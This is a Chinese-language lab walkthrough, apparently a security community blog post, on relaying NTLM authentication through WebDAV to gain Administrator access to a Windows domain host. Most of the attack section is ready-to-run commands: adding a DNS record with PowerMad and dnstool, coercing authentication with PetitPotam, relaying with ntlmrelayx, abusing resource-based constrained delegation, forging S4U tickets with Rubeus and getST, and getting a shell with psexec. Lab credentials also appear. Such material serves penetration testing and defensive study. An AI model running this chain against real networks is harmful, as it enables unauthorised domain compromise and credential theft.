免责声明
“本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。”
“我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。”
1. 前言
NTLM中继(NTLM Relay)攻击对于网络安全从业者而言已不再陌生。然而,在实际的攻击场景中,诸如LDAP/S、SMB等协议的签名机制常常成为横亘在攻击者面前的“拦路虎”,导致攻击无法顺利进行。随着安全技术的迭代,那些未开启签名校验的SMB服务越来越难以被发现,这让传统的NTLM Relay攻击面临着更大的挑战。
那么,我们该如何绕过服务端对签名的强制校验,实现有效的Relay呢?一个可行的思路是寻找那些本身就不支持签名的服务。如果客户端不支持签名,服务端通常也无法强制要求签名认证。基于这一原理,我们可以将目光投向HTTP服务中的WebDAV功能,尝试利用它来开展Relay攻击。
2. 什么是WebDav
WebDAV(Web Distributed Authoring and Versioning,即分布式作者和版本控制)是一组基于超文本传输协议(HTTP)的技术集合。它扩展了HTTP协议的功能,使得用户能够更高效地协同编辑和管理存储在万维网服务器上的文档。简单来说,WebDAV就是一种基于互联网的文件管理方法,允许用户在服务器上划分存储空间,并通过用户名和密码进行访问控制,从而实现文件的存储、下载和编辑等功能。
在Windows系统中,WebDAV通过WebClient服务来实现。该服务允许Windows程序通过WebDAV协议与服务器进行交互,从而创建、读取和写入服务器上的文件。WebDAV的通信过程基于HTTP协议。
当客户端访问启用了Windows身份验证的WebDAV服务时,可以利用域内的凭证(如用户名和密码)进行身份验证。这种基于域凭证的访问方式,使得WebDAV在企业环境中具有较高的便利性。
2.1 WebDAV的特点
基于HTTP协议:
WebDAV利用现有的HTTP协议,因此可以无缝集成到现有的网络环境中。
支持文件操作:
用户可以通过WebDAV进行文件的创建、读取、写入、删除等操作,类似于本地文件系统。
身份验证机制:
支持多种身份验证方式,包括Windows身份验证,确保了访问的安全性。跨平台支持:WebDAV不仅支持Windows系统,还可以在其他操作系统上实现类似的功能。
2.2 WebDAV在网络安全中的重要性
WebDAV的上述特性,特别是其通常不强制要求签名认证的特点,使其在网络安全领域具有独特的研究价值。在NTLM Relay攻击中,WebDAV提供了一种潜在的、可绕过服务端签名验证的途径。
3. 攻击步骤
- 拿到一枚域用户
- 探测开启WebDav的服务器
- 在域内为攻击机添加DNS解析
- 使用Responder进行中继与委派
- 强制WebDav服务器认证攻击机
- 执行基于资源的约束委派攻击
4. 攻击流程
4.1 探测WebDav服务
拿到域内权限后,可以通过GetWebDAVStatus.exe探测内网中开放WebDav的服务器。

发现目标后,为了让Relay顺利进行,我们需要添加一条DNS A记录。这是因为在Windows中,WebDav由WebClient服务实现,而该服务默认仅对处于内网或“受信任站点”列表中的目标才使用当前用户的默认凭据进行身份验证。
4.2 添加DNS解析
4.2.1 域内使用PowerMad添加
此处使用PowerMad添加DNS A记录,普通域用户即可操作,无需域管权限。
import-module .\invoke-DNSupdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.pentest.local -DNSData 10.0.10.128

紧接着使用ipconfig /flushdns刷新DNS本地缓存,之后使用ping命令即可成功解析我们添加的记录。

python3 dnstool.py -u pentest.local\\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local

4.3 准备NTLM Relay
回到攻击机进行操作。
利用Impacket项目的ntlmrelayx.py,指定LDAP协议进行身份验证,目标设为域控,并使用-delegate-access选项来执行基于资源的约束委派攻击。
python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support

4.4 强制认证主机创建机器账户
回到被控制的主机,使用PetitPotam强制WebDav服务器向我们攻击机发起的HTTP服务(即ntlmrelayx监听的端口)进行认证。注意此处不能使用IP地址,必须使用之前添加的DNS主机名,@符号前为主机名,后为端口号。
4.4.1 域内认证
PetitPotam.exe evil@80/evil.cnf 10.0.10.110

4.4.2 域外认证
python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110


此时,回到攻击机查看ntlmrelayx的输出,可以发现已经通过WS03$机器账户的身份,在域内成功创建了一个新的机器账户。

这时回到域控查看WebDav服务器(WS03)的AD属性,可以发现msDS-AllowedToActOnBehalfOfOtherIdentity属性已被修改,添加了我们新建的机器账户的委派权限。

4.5 申请票据
4.5.1 域内申请票据
此时,我们便可以通过S4U扩展协议来申请访问WebDav目标机(WS03)的ST票据了。
首先,将新建机器账户的密码转为NTLM Hash,便于后续使用Rubeus申请票据。
.\Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei'

.\Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt
由于使用了/ptt参数,申请到的ST票据会自动导入当前会话的票据缓存中。此时我们便拥有了以Administrator身份访问WS03机器CIFS共享目录的权限。

当然,我们也可以将Rubeus申请到的Base64格式的kirbi票据(去除空格后)解码,并利用ticketConverter.py转为ccache格式,以便在域外(如Linux攻击机)使用。
echo 'payload' | base64 -d > administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache
export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache
python3 psexec.py -no-pass -k ws03.pentest.local

4.5.2 域外申请票据
参考约束委派攻击流程,使用机器账户身份申请ST票据。
python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW\$ -spn cifs/ws03.pentest.local -impersonate administrator
5. 总结
通过上述步骤,我们演示了如何利用WebDAV服务不支持签名的特性,来绕过传统的协议签名限制,成功实施NTLM中继攻击,并最终通过基于资源的约束委派获取目标服务器的最高权限。这种攻击路径揭示了在复杂内网环境中,即使SMB等协议加强了签名保护,攻击者仍可能通过其他看似无害的服务(如WebDAV)找到突破口。对于防御方而言,在加强主流协议安全性的同时,也需要全面评估和加固所有可能暴露的渗透测试面。技术交流与攻防知识共享,可以关注云栈社区获取更多安全研究内容。